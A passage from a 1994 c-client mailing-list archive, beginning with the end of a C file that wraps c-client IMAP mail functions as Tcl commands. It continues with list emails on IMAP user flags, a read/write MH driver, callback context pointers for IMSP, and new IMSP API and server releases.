argc,char **argv) { MAILSTREAM *stream=0; if (argc!=2) { Tcl_AppendResult(interp,argv[0],": usage ",argv[0]," stream\n", NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } mail_check(stream); return TCL_OK; } /* * This is a function I built to support mime mail in TCL. * * If you get a messgae part that you know is non-textual (non 7-bit) via * CClientGetMessageInfo (look at the [lindex $part 5] which is the * encoding field) you should use this to decode it and store it * into a file. This function takes a stream, a message part, an encoding, * and a filename and stores the specified message DECODED into * the filename. It currently only knows about base64 and * quoted-printable encodings. * * TCL API: CClientStoreMessagePart stream message part encoding filename */ int CClient_store_message_part(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; int number; int len,extralen; char *body,*extra=NULL; int fd; if (argc!=6) { Tcl_AppendResult(interp,argv[0],": usage ",argv[0]," stream message part encoding filename\n", NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } if (Tcl_GetInt(interp,argv[2],(int *)&number)==TCL_ERROR) { Tcl_AppendResult(interp,argv[0],": bad message number: ", interp->result,"\n",NULL); return TCL_ERROR; } body=mail_fetchbody(stream,number,argv[3],&len); if (strcmp("base64",argv[4])==0) { extra=rfc822_base64(body,len,&extralen); } if (strcmp("quoted-printable",argv[4])==0) { extra=rfc822_qprint(body,len,&extralen); } fd=open(argv[5],O_WRONLY | O_CREAT, 0700); if (fd<0) { Tcl_AppendResult(interp,argv[0],": error opening file ", argv[5],"\n", NULL); return TCL_ERROR; } if (extra) { write(fd,extra,extralen); /* not this is a void **, not a void */ fs_give(&extra); } else { write(fd,body,len); } close(fd); return TCL_OK; } /* * I don't exactly understand how to use this function, I have had * trouble getting it to do much of anything. * * This function takes an option stream and search spec and calls * back into CClientMailbox to inform you of the mailboxes it has * found. I find it works better if you pass in an existing although * I don't know why. The search spec appears to be a glob style * pattern. * * TCL API: CClientFindMailboxes [[stream] [searchSpec]] */ int CClient_find_mailboxes(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; if ((argc!=3) && (argc!=2) && (argc!=1)) { Tcl_AppendResult(interp,argv[0],": usage ",argv[0]," [[stream] [search spec]] \n", NULL); return TCL_ERROR; } if (argc!=3) { strcpy(tmpbuf,"*"); } else { strcpy(tmpbuf,argv[2]); } if (argc>1) { sscanf(argv[1],"%x",&stream); } mail_find_all(stream,tmpbuf); return TCL_OK; } /* * This function initialized the TCL CClient API. Use it from C code to * set everything up. */ CClient_Init(Tcl_Interp *interp) { localinterp=interp; Tcl_CreateCommand(interp,"CClientInstallDriver", CClient_install_driver,NULL,NULL); Tcl_CreateCommand(interp,"CClientMailOpen", CClient_mail_open,NULL,NULL); Tcl_CreateCommand(interp,"CClientMailClose", CClient_mail_close,NULL,NULL); Tcl_CreateCommand(interp,"CClientFetchHeaders", CClient_fetch_headers,NULL,NULL); Tcl_CreateCommand(interp,"CClientFetchHeadersRaw", CClient_fetch_raw,NULL,NULL); Tcl_CreateCommand(interp,"CClientFetchBodyRaw", CClient_fetch_raw,NULL,NULL); Tcl_CreateCommand(interp,"CClientFetchBodyInfo", CClient_fetch_body_info,NULL,NULL); Tcl_CreateCommand(interp,"CClientFetchBodyPart", CClient_fetch_body_part,NULL,NULL); Tcl_CreateCommand(interp,"CClientScanMessages", CClient_scan_messages ,NULL,NULL); Tcl_CreateCommand(interp,"CClientClearFlag", CClient_flag ,NULL,NULL); Tcl_CreateCommand(interp,"CClientSetFlag", CClient_flag ,NULL,NULL); Tcl_CreateCommand(interp,"CClientExpungeMessages", CClient_expunge_messages ,NULL,NULL); Tcl_CreateCommand(interp,"CClientSearchMessages", CClient_search_messages ,NULL,NULL); Tcl_CreateCommand(interp,"CClientMailCheck", CClient_mail_check ,NULL,NULL); Tcl_CreateCommand(interp,"CClientFindMailboxes", CClient_find_mailboxes ,NULL,NULL); Tcl_CreateCommand(interp,"CClientStoreMessagePart", CClient_store_message_part ,NULL,NULL); Tcl_CreateCommand(interp,"CClientMoveMessage", CClient_move_message,NULL,NULL); Tcl_CreateCommand(interp,"CClientCopyMessage", CClient_move_message,NULL,NULL); /* setup my arrays */ MIMEtypeName[TYPETEXT]="text"; MIMEtypeName[TYPEMULTIPART]="multipart"; MIMEtypeName[TYPEMESSAGE]="message"; MIMEtypeName[TYPEAPPLICATION]="application"; MIMEtypeName[TYPEAUDIO]="audio"; MIMEtypeName[TYPEIMAGE]="image"; MIMEtypeName[TYPEVIDEO]="video"; MIMEtypeName[TYPEOTHER]="unknown"; /* shouldn't happen */ MIMEencodingName[ENC7BIT]="7bit"; MIMEencodingName[ENC8BIT]="8bit"; MIMEencodingName[ENCBINARY]="binary"; MIMEencodingName[ENCBASE64]="base64"; MIMEencodingName[ENCQUOTEDPRINTABLE]="quoted-printable"; MIMEencodingName[ENCOTHER]="unknown"; #ifdef MALLOC_DEBUG malloc_debug(2); #endif return TCL_OK; } From pinedev@shivax2.cac.washington.edu Tue Mar 1 11:28:58 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA00545; Tue, 1 Mar 94 11:28:58 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA24413; Tue, 1 Mar 94 11:28:48 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA24407; Tue, 1 Mar 94 11:28:46 -0800 Received: from localhost (postman@localhost) by po2.andrew.cmu.edu (8.6.4/8.6.4) id OAA10426; Tue, 1 Mar 1994 14:28:44 -0500 Received: via switchmail; Tue, 1 Mar 1994 14:28:43 -0500 (EST) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 1 Mar 1994 14:26:53 -0500 (EST) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 1 Mar 1994 14:26:51 -0500 (EST) Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4c.411 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Tue, 1 Mar 1994 14:26:48 -0500 (EST) Message-Id: <4hQtPsO00WBwEfF0xK@andrew.cmu.edu> Date: Tue, 1 Mar 1994 14:26:48 -0500 (EST) From: John Gardiner Myers To: c-client@CAC.Washington.EDU, imap@cac.washington.edu Subject: Creating user flags Reply-To: imap@cac.washington.edu In-Reply-To: References: Beak: Is This is a protocol issue--I'm moving to the topic over to the imap list. On Mon, 28 Feb 1994 15:34:06 -0800 (PST), Terry Gray wrote: > I believe I read that CMU's Cyrus IMAP server allows dynamic creation of > user flags. You read correctly. It just seemed obvious to me that this was the only way to get user flags to exist in the first place. Mark Crispin writes: > Unfortunately, the only way to do this in IMAP is to do the ``just create'' > action that was rejected for COPY. I could implement this, but it would be a > slippery slope with no going back. So, I would like to get group concensus > first... I could go either way--"just create" or explicit CREATEKEYWORD and DELETEKEYWORD commands. I was opposed to the "just create" action for COPY because it was likely that the user could make a typo in the destination mailbox name and inadvertently lose track of the message. It also turns out that this action makes doing IMSP slightly harder. It is possible to make a typo in a keyword name (when first testing the Cyrus IMAPD, I once created a "/deleted" keyword), but the potential consequences are less severe. The fact that there is currently no mechanism to remove a keyword, short of creating a new mailbox and COPYing over all the messages, does merit some consideration. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Wed Mar 2 10:08:07 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA29333; Wed, 2 Mar 94 10:08:07 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA26415; Wed, 2 Mar 94 10:07:34 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: <@scapa.cs.ualberta.ca:edm.isac.ca!roseman@isagate> Received: from scapa.cs.ualberta.ca by mx2.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA26407; Wed, 2 Mar 94 10:07:29 -0800 Received: by scapa.cs.ualberta.ca id <18681-1>; Wed, 2 Mar 1994 10:54:53 -0700 Received: by isagate.edm.isac.ca (/\==/\ Smail3.1.20.1 #20.1) id ; Tue, 1 Mar 94 20:24 MST Received: by isasun-1.edm.isac.ca (Smail3.1.28.1 #1) id m0pbhej-000ctMC; Tue, 1 Mar 94 20:31 MST Message-Id: From: roseman@edm.isac.ca (Mark Roseman) Subject: Re: tcl and c client To: iansmith@cc.gatech.edu Date: Tue, 1 Mar 1994 20:31:28 -0700 Cc: c-client@cac.washington.edu In-Reply-To: <9403011706.AA12782@weasel.gatech.edu>; from "Ian Smith" at Mar 1, 94 12:06 am X-Mailer: ELM [version 2.3 PL11] > I thought people might be interested in this. Here is a TCL API to the > C-Client mail toolkit by Mark Crispin (anon ftp to cac.washington.edu > to snarf it up). Very useful for scripting repeated mail tasks or > writing mail 'bots. excellent! we're using tcl inside ecsmail and i can see what you've done being handy for us. :-) there's also another tcl/c-client system available done by angel li at one of the universities in florida.. the system is called palm and puts a tcl/tk interface over c-client. cheers mark (who's very much on a campaign to have tcl take over the world..!) From pinedev@shivax2.cac.washington.edu Sun Mar 13 13:18:07 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA14697; Sun, 13 Mar 94 13:18:07 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA09808; Sun, 13 Mar 94 13:17:49 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from burdell.cc.gatech.edu by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA09802; Sun, 13 Mar 94 13:17:48 -0800 Received: from chagall (chagall.cc.gatech.edu [130.207.118.101]) by burdell.cc.gatech.edu (8.6.4/8.6.4) with ESMTP id QAA06550 for ; Sun, 13 Mar 1994 16:17:46 -0500 Received: from localhost (iansmith@localhost) by chagall (8.6.4/8.6.4) id QAA06133; Sun, 13 Mar 1994 16:17:46 -0500 Date: Sun, 13 Mar 1994 16:17:46 -0500 From: Ian Smith Message-Id: <199403132117.QAA06133@chagall> To: c-client@cac.washington.edu Subject: MH Driver Reply-To: Ian Smith X-Vi: vi is the AD3MA of editors X-Mailer: VM 5.32L [Lucid Emacs 19.6] Has anyone out there gotten around (recoded) the MH driver so that is "real" in the sense of not always being a "readonly" mailbox? I'd really like to be able to use the MH driver interchangably with the berkeley driver... ian --- Guinness: Its good for you. From pinedev@shivax2.cac.washington.edu Wed Mar 16 10:32:26 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA03762; Wed, 16 Mar 94 10:32:26 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA24552; Wed, 16 Mar 94 10:31:41 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO5.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA24546; Wed, 16 Mar 94 10:31:37 -0800 Received: from localhost (postman@localhost) by po5.andrew.cmu.edu (8.6.4/8.6.4) id NAA20135; Wed, 16 Mar 1994 13:31:32 -0500 Received: via switchmail; Wed, 16 Mar 1994 13:31:31 -0500 (EST) Received: from sambar.andrew.cmu.edu via qmail ID ; Wed, 16 Mar 1994 13:30:15 -0500 (EST) Received: from sambar.andrew.cmu.edu via qmail ID ; Wed, 16 Mar 1994 13:30:05 -0500 (EST) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.sambar.andrew.cmu.edu.sun4c.411 via MS.5.6.sambar.andrew.cmu.edu.sun4c_411; Wed, 16 Mar 1994 13:30:04 -0500 (EST) Message-Id: Date: Wed, 16 Mar 1994 13:30:04 -0500 (EST) From: "Sohan C. Ramakrishna-Pillai" To: c-client@cac.washington.edu Subject: C-Client callback needs context support (IMAP & IMSP) Cc: Chris Newman , John Gardiner Myers , Wallace Colyer , Mark Crispin In-Reply-To: References: Currently the mm_* routines are used to return various information bits to the mail application. These routines, however, have been designed on the assumption that all such callbacks will be handled by a single main routine or thread or context, which is obviously insufficient for a multi-context situation. The simplest remedy would be to pass along an extra argument, a generic void *context or void *callbackhandler pointer along with all the mail_* routines to be passed on to the mm_* callbacks appropriately. One could also conceivably assume that a one-to-one mapping exists between a context and a MAILSTREAM (or SUPPORTSTREAM) and pass along a pointer to the MAILSTREAM (or SUPPORTSTREAM) to the callbacks, but it may be more general to pass along a separate context in case future extensions/changes make it necessary to invalidate such an assumption. ___ Sohan C. Ramakrishna-Pillai Office: UCC 181 Phone: x6406 [(412)268-6406] Don't get suckered in by the comments -- they can be terribly misleading. Debug only code. -- Dave Storer From pinedev@shivax2.cac.washington.edu Wed Mar 16 11:54:43 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA06499; Wed, 16 Mar 94 11:54:43 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA15740; Wed, 16 Mar 94 11:54:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO2.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA15734; Wed, 16 Mar 94 11:54:27 -0800 Received: from localhost (postman@localhost) by po2.andrew.cmu.edu (8.6.4/8.6.4) id OAA12755 for c-client@cac.washington.edu; Wed, 16 Mar 1994 14:54:17 -0500 Received: via switchmail; Wed, 16 Mar 1994 14:54:12 -0500 (EST) Received: from nifty.andrew.cmu.edu via qmail ID ; Wed, 16 Mar 1994 14:53:57 -0500 (EST) Received: via niftymail; Wed, 16 Mar 1994 14:53:50 -0500 (EST) Date: Wed, 16 Mar 1994 14:53:50 -0500 (EST) From: Chris Newman Subject: Re: C-Client callback needs context support (IMAP & IMSP) To: "Sohan C. Ramakrishna-Pillai" In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: c-client@cac.washington.edu Message-Id: <763847630.22759.0@nifty.andrew.cmu.edu> All the mm_* callbacks I added with the IMSP c-client API pass back either an address book structure or a SUPPORTSTREAM. By request of Adam Treister, the abook_open routine takes a third argument which is a generic pointer that can be extracted from the address book structure in future calls with the "abook_generic()" call. I propose the following changes: 1) I add a way to store and retrieve a generic pointer in a SUPPORTSTREAM structure. This allows context without changing any of the calls. 2) The IMSP API shares the mm_log() callback that IMAP uses. I propose that an optional third argument be added to mm_log(). This third argument would be the generic pointer from the SUPPORTSTREAM/MAILSTREAM that generated the error (or NULL if there is no context to the error). Although the IMSP API also shares the mm_login() callback that IMAP uses, I don't believe any change would be needed to support callbacks on that. The other mm_* calls that c-client makes are entirely in Mark's court. - Chris From pinedev@shivax2.cac.washington.edu Thu Mar 17 09:06:49 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA03381; Thu, 17 Mar 94 09:06:49 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA16341; Thu, 17 Mar 94 09:06:36 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO3.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA16335; Thu, 17 Mar 94 09:06:34 -0800 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.6.4/8.6.4) id MAA15618; Thu, 17 Mar 1994 12:06:30 -0500 Received: via switchmail; Thu, 17 Mar 1994 12:06:29 -0500 (EST) Received: from sambar.andrew.cmu.edu via qmail ID ; Thu, 17 Mar 1994 12:04:56 -0500 (EST) Received: from sambar.andrew.cmu.edu via qmail ID ; Thu, 17 Mar 1994 12:04:50 -0500 (EST) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.sambar.andrew.cmu.edu.sun4c.411 via MS.5.6.sambar.andrew.cmu.edu.sun4c_411; Thu, 17 Mar 1994 12:04:49 -0500 (EST) Message-Id: Date: Thu, 17 Mar 1994 12:04:49 -0500 (EST) From: "Sohan C. Ramakrishna-Pillai" To: Chris Newman Subject: Re: C-Client callback needs context support (IMAP & IMSP) Cc: c-client@cac.washington.edu, John Gardiner Myers , Wallace Colyer In-Reply-To: <763847630.22759.0@nifty.andrew.cmu.edu> References: <763847630.22759.0@nifty.andrew.cmu.edu> Excerpts from mail: 16-Mar-94 Re: C-Client callback needs.. Chris Newman (1029*) > All the mm_* callbacks I added with the IMSP c-client API pass back > either an address book structure or a SUPPORTSTREAM. > By request of Adam Treister, the abook_open routine takes a third argument > which is a generic pointer that can be extracted from the address book > structure in future calls with the "abook_generic()" call. > I propose the following changes: > 1) I add a way to store and retrieve a generic pointer in a SUPPORTSTREAM > structure. This allows context without changing any of the calls. > 2) The IMSP API shares the mm_log() callback that IMAP uses. I propose that > an optional third argument be added to mm_log(). This third argument > would be the generic pointer from the SUPPORTSTREAM/MAILSTREAM that > generated the error (or NULL if there is no context to the error). > Although the IMSP API also shares the mm_login() callback that IMAP > uses, I don't believe any change would be needed to support callbacks > on that. > The other mm_* calls that c-client makes are entirely in Mark's court. > - Chris Given that essentially all mm_* callbacks will need a context pointer and some of the IMAP c-client's mm_* routines are being reused by IMSP, IMHO, it would be best if the IMSP API tacks on the context pointer as well. Since both SUPPORTSTREAMs and MAILSTREAMs and potentially other objects are to be used in the callbacks, binding the context to any of these objects is not a good idea - still potentially extensible in a limited sense (see below), but in an inelegant fashion e.g. in mm_log. Making IMSP maintain a separate set of callback functions is a possibility, but is inefficient w.r.t. reuse of the generic callbacks like mm_log. The best way seems to be to include a context pointer with each of the c-client calls to be passed on to the callback functions. Storing the generic pointer in the address book and SUPPORTSTREAMs is also technically feasible, but then we would need to document a uniform convention whereby all objects, including MAILSTREAMS, will provide access to the context. Can be done easily in a C++ environment, less easily with C. Also, while this is sufficient for our purposes, this has the drawback of binding a context to a stream(-like) object, and maybe I am being paranoid, but I am not sure that future extensions or applications may find this constraining - e.g. a future multithreaded multiplexed access to some stream(-like) object, maybe. Tacking on the context to the APIs avoids this drawback and is therefore more flexible and, IMHO, superior. So, to summarize: The feasible solutions seem to be 1. pass context to c-client calls thru to callbacks. 2. uniform documented convention to associate context with stream(-like) objects and access them and pass stream(-like) objects to callbacks as well. We can live with 2. for now, but 1. would be simpler and technically preferable. ___ Sohan C. Ramakrishna-Pillai Office: UCC 181 Phone: x6406 [(412)268-6406] Try to get all of your posthumous medals in advance. From pinedev@shivax2.cac.washington.edu Thu Mar 17 10:09:53 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA05382; Thu, 17 Mar 94 10:09:53 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA17646; Thu, 17 Mar 94 10:09:40 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from carson-oms1.u.washington.edu by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA17638; Thu, 17 Mar 94 10:09:38 -0800 Received: from shiva1.cac.washington.edu by carson-oms1.u.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA10865; Thu, 17 Mar 94 10:09:31 -0800 Date: Thu, 17 Mar 1994 10:09:31 -0800 (PST) From: Terry Gray Subject: Re: MH Driver To: Ian Smith Cc: c-client@cac.washington.edu In-Reply-To: <199403132117.QAA06133@chagall> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Ian, I believe there will be news on this topic fairly soon. Mark is currently out of the country, or he would have undoubtedly responded by now. -teg On Sun, 13 Mar 1994, Ian Smith wrote: > > Has anyone out there gotten around (recoded) the MH driver so > that is "real" in the sense of not always being a "readonly" > mailbox? I'd really like to be able to use the MH driver > interchangably with the berkeley driver... > > ian > --- > Guinness: Its good for you. From pinedev@shivax2.cac.washington.edu Mon Mar 21 22:02:00 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA08425; Mon, 21 Mar 94 22:02:00 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA24287; Mon, 21 Mar 94 22:01:46 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA24281; Mon, 21 Mar 94 22:01:44 -0800 Received: by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA13226; Mon, 21 Mar 94 22:01:36 -0800 Date: Mon, 21 Mar 1994 22:01:35 -0800 (PST) From: Mark Crispin Subject: Re: MH Driver To: Ian Smith Cc: c-client@cac.washington.edu In-Reply-To: <199403132117.QAA06133@chagall> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello. Sorry for the delay in answering. I have written a read/write MH driver, and it will be part of the next c-client distribution, sometime later this week (most likely, Friday or Saturday) after I return from my vacation. On Sun, 13 Mar 1994, Ian Smith wrote: > Has anyone out there gotten around (recoded) the MH driver so > that is "real" in the sense of not always being a "readonly" > mailbox? I'd really like to be able to use the MH driver > interchangably with the berkeley driver... From pinedev@shivax2.cac.washington.edu Thu Mar 24 12:37:42 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA04688; Thu, 24 Mar 94 12:37:42 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA25703; Thu, 24 Mar 94 12:37:16 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA25697; Thu, 24 Mar 94 12:37:14 -0800 Received: from localhost (postman@localhost) by po2.andrew.cmu.edu (8.6.4/8.6.4) id PAA15176; Thu, 24 Mar 1994 15:37:12 -0500 Received: via switchmail; Thu, 24 Mar 1994 15:37:11 -0500 (EST) Received: from nifty.andrew.cmu.edu via qmail ID ; Thu, 24 Mar 1994 15:36:39 -0500 (EST) Received: via niftymail; Thu, 24 Mar 1994 15:36:34 -0500 (EST) Date: Thu, 24 Mar 1994 15:36:34 -0500 (EST) From: Chris Newman Subject: New IMSP API with Unix filedriver available To: imap@cac.washington.edu, c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <764541394.14545.0@nifty.andrew.cmu.edu> A new version of the c-client IMSP API is available from export.acs.cmu.edu:/pub/cyrus-mail/imsp-api-v1.00a2.tar.gz This version includes a file-driver for address books and options on unix with support for multiple simultaneous clients. A few bug fixes were also fixed. - Chris From pinedev@shivax2.cac.washington.edu Thu Mar 24 12:41:41 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA04777; Thu, 24 Mar 94 12:41:41 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA25776; Thu, 24 Mar 94 12:41:30 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65+UW94.3/UW-NDC Revision: 2.30 ) id AA25770; Thu, 24 Mar 94 12:41:28 -0800 Received: from localhost (postman@localhost) by po2.andrew.cmu.edu (8.6.4/8.6.4) id PAA15223; Thu, 24 Mar 1994 15:41:25 -0500 Received: via switchmail; Thu, 24 Mar 1994 15:41:24 -0500 (EST) Received: from nifty.andrew.cmu.edu via qmail ID ; Thu, 24 Mar 1994 15:40:14 -0500 (EST) Received: via niftymail; Thu, 24 Mar 1994 15:40:12 -0500 (EST) Date: Thu, 24 Mar 1994 15:40:12 -0500 (EST) From: Chris Newman Subject: Alpha version of lightweight c-client IMSPD available To: imap@cac.washington.edu, c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <764541612.14545.0@nifty.andrew.cmu.edu> An alpha version of a partial implementation of IMSP (address books and options only) is now available. This is designed to be a lightweight c-client based plug-and-play IMSP server. It is available from: export.acs.cmu.edu:/pub/cyrus-mail/c-client-imspd-v0.5a1.tar.gz It requires the latest version of the c-client IMSP API. Please send bug reports (for either) to me: chrisn+@cmu.edu. - Chris Newman From pinedev@shivax2.cac.washington.edu Sun May 15 13:07:54 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA00743; Sun, 15 May 94 13:07:54 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA07099; Sun, 15 May 94 13:07:14 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from uucp6.netcom.com by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA07093; Sun, 15 May 94 13:07:12 -0700 Received: from localhost by netcomsv.netcom.com with UUCP (8.6.4/SMI-4.1) id NAA16732; Sun, 15 May 1994 13:02:18 -0700 Received: by usc.com (NX5.67d/NX3.0M) id AA00948; Sun, 15 May 94 12:53:50 -0700 From: Will Estes Message-Id: <9405151953.AA00948@usc.com> Subject: Looking for overview of c-client To: c-client@cac.washington.edu Date: Sun, 15 May 1994 12:53:49 -0700 (PDT) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 672 Can someone give me a quick overview on the current status of c-client? In terms of function, is it a fair summary to say that the c-client library is really two independent families of functions: 1) a MIME-capable RFC-822 header parser, and 2) an IMAP-compliant transaction client? Are there additional functions as well? If all we wanted was a good MIME-capable RFC-822 header parser, would the c-client code be useful? If we download the imap-3.3 archive at ftp.cac.washington.edu, is this the best version to use for just MIME-compliant header parsing? -- Thanks, Will Estes Internet: westes@usc.com U.S. Computer Saratoga, CA 95070 From pinedev@shivax2.cac.washington.edu Sun May 15 21:59:45 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA05838; Sun, 15 May 94 21:59:45 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA12062; Sun, 15 May 94 21:59:30 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA12056; Sun, 15 May 94 21:59:28 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA07639; Sun, 15 May 94 21:59:25 -0700 Date: Sun, 15 May 1994 15:17:58 -0700 (PDT) From: Mark Crispin Subject: re: Looking for overview of c-client To: Will Estes Cc: c-client Interest List In-Reply-To: <9405151953.AA00948@usc.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Sun, 15 May 1994 12:53:49 -0700 (PDT), Will Estes wrote: > Can someone give me a quick overview on the current status > of c-client? c-client is under active development. I expect to start on fully IMAP4 support as soon as I get the new IMAP4 document finished. > In terms of function, is it a fair summary to say that the c-client > library is really two independent families of functions: 1) a > MIME-capable RFC-822 header parser, and 2) an IMAP-compliant > transaction client? Are there additional functions as well? c-client is a lot more than the above. It provides seamless access to messages stored in a number of different technologies; presently IMAP, NNTP, Unix mbox, two forms of Tenex-style mail.txt, mh, mmdf, and plain files. It provides mechanisms by which messages can be copied from one technology to another. It provides an SMTP and NNTP posting client. Basically, c-client is everything you need in an MUA except for the user interface. > If all we wanted was a good MIME-capable RFC-822 header > parser, would the c-client code be useful? Yes, but you'd be missing out of quite a bit if that was all you used c-client for. > If we download the imap-3.3 archive at ftp.cac.washington.edu, is > this the best version to use for just MIME-compliant header > parsing? The version at ftp.cac.washington.edu is always the best version. 3.3 is the very latest development version; note that it is frequently updated. I only increment version numbers at particular checkpoints. From pinedev@shivax2.cac.washington.edu Thu May 26 18:38:46 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA22008; Thu, 26 May 94 18:38:46 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA17437; Thu, 26 May 94 18:38:31 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 